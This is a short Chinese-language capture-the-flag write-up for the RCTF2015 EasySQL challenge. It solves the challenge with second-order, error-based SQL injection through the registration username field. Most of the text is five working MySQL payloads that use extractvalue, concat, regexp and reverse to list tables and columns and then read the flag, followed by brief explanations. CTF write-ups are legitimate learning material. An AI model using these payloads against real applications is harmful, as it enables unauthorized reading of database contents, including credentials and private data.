[RCTF2015]EasySQL

image-20240531200944034

这道题的题解不适合从错误开始写,因为就是二次报错注入,所以我从一开始直接提醒你们!!!

在注册界面在username里面输入依次输入以下

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#
admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#
admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#
admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

就可以了(找怎么写的已经可以走了)

很基础的二次注入

再来一个个解释

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

这个也就是说我们要进行报错注入,通过报错注入找到tables

查表也是一样的操作

最后两条是因为直接查询字段会发现不止一行

所以使用正则分别读取